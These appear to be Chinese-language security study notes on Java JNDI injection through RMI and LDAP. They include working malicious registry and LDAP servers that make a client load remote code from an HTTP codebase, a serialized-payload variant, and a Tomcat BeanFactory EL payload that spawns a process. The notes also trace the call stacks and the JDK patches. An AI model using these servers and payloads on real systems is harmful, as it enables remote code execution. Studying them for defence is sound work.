参考:https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/

JNDI-RMI

demo

测试jdk8u73。

server

public class Server {

public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);

//一定要以斜杠结尾
String factoryUrl = "http://127.0.0.1:8000/";

// 对应http://127.0.0.1:8000/下的Evil.class
Reference reference = new Reference("Evil","Evil", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);

System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

client

public class Client {

public static void main(String[] args) throws Exception {

InitialContext initialContext=new InitialContext();
initialContext.lookup("rmi://localhost:1099/Foo");
}
}

调用栈

其中调用了RegistryImpl_Stub#lookup,所以可以用之前RMI反序列化分析的攻击手法攻击客户端。

InitialContext#lookup
GenericURLContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#lookup
this#registry.lookup //this.registry是个RegistryImpl_Stub
this#decodeObject
ReferenceWrapper_Stub#getReference
UnicastRef#invoke
NamingManager#getObjectInstance
getObjectFactoryFromReference(ref, factory) //ref是Reference对象,factory是Evil
helper.loadClass(factoryName); //尝试从classpath加载Evil类
helper.loadClass(factoryName, codebase);//若加载不到,则使用codebase http://127.0.0.1:8000/
Class.forName(className, true, urlClassLoader);//使用URLClassLoader加载类

修复

jdk8u121后修复。

修复位置

RegistryContext#decodeObject中,添加判断trustURLCodebase是否为true,不为true则:The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

JNDI-LDAP

测试版本JDK8u73

demo

java代码实现的 ldap server,参考自:https://www.cnblogs.com/nice0e3/p/13958047.html

package jndi_ldap;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class Server {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#Evil"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

client

public class Client {
public static void main(String[] args) {
try {
new InitialContext().lookup("ldap://127.0.0.1:7777/fooooooooooooo");//随便填
} catch (NamingException e) {
e.printStackTrace();
}
}
}

调用栈

InitialContext#lookup
LdapURLContext#lookup
GenericURLContext#lookup
PartialCompositeContext#lookup
ComponentContext#p_lookup
LdapCtx#c_lookup
this.doSearchOnce(var1, "(objectClass=*)", var22, true) //这一步就往ldap服务器发送请求了
Obj#decodeObject //返回一个Reference
Obj#decodeReference
DirectoryManager#getObjectInstance
NamingManager#getObjectFactoryFromReference
VersionHelper#loadClass

LdapCtx#doSearchOnce执行结束后,server就已经输出了Send LDAP reference result for asd redirecting to http://127.0.0.1:8000/Evil.class

Obj#decodeObject执行结束后返回的结果:

image-20240213112003367.png

修复

JDK 11.0.1、8u191、7u201、6u211之后修复。

VersionHelper#loadClass中,添加了判断com.sun.jndi.ldap.object.trustURLCodebase是否为true

image-20240213112724372.png

高版本JDK JNDI注入

以JDK8u191为分界,<8u191用上面的方式,≥8u191用下面的

参考:https://xz.aliyun.com/t/8214

反序列化

本地测试,JDK17仍然生效。

server

public class Server {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

public OperationInterceptor () {

}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
System.out.println("Sendding unserialized data...");
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Util.serialize(new Bean())); // 这里放序列化数据
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

client

public class Client {
public static void main(String[] args) {
try {
new InitialContext().lookup("ldap://127.0.0.1:7777/fooooooooooooo");//随便填
} catch (NamingException e) {
e.printStackTrace();
}
}
}

调用栈

InitialContext#lookup
LdapURLContext#lookup
GenericURLContext#lookup
PartialCompositeContext#lookup
ComponentContext#p_lookup
LdapCtx#c_lookup
this.doSearchOnce(var1, "(objectClass=*)", var22, true) //这一步就往ldap服务器发送请求了
Obj#decodeObject
Obj#deserializeObject
readObject

加载本地类

JDK8u202可以打通。

server

public class Server {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("remoteobj", referenceWrapper);

}
}

ResourceRef需要tomcat依赖,这里用内置tomcat

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.55</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>8.5.55</version>
</dependency>

高版本的tomcat修复了这一利用点,会提示:(我第一次测试使用8.5.81,也有这个提示,换成8.5.55可以。

二月 13, 2024 1:51:21 下午 org.apache.naming.factory.BeanFactory getObjectInstance
警告: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
Exception in thread "main" javax.naming.NamingException: No set method found for property [x]
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at jndi_rmi.bypass.Client.main(Client.java:9)

client

public class Client {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
initialContext.lookup("rmi://localhost:1097/remoteobj");
}
}

调用栈

InitialContext#lookup
GenericURLContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#lookup
this#registry.lookup //this.registry是个RegistryImpl_Stub
this#decodeObject
ReferenceWrapper_Stub#getReference
UnicastRef#invoke
NamingManager#getObjectInstance
getObjectFactoryFromReference(ref, factory) //ref是Reference对象,factory是Evil
helper.loadClass(factoryName); //加载org.apache.naming.factory.BeanFactory
BeanFactory.newInstance
BeanFactory#getObjectInstance
method.invoke(bean, valueArray);//这3个变量都来自ResourceRef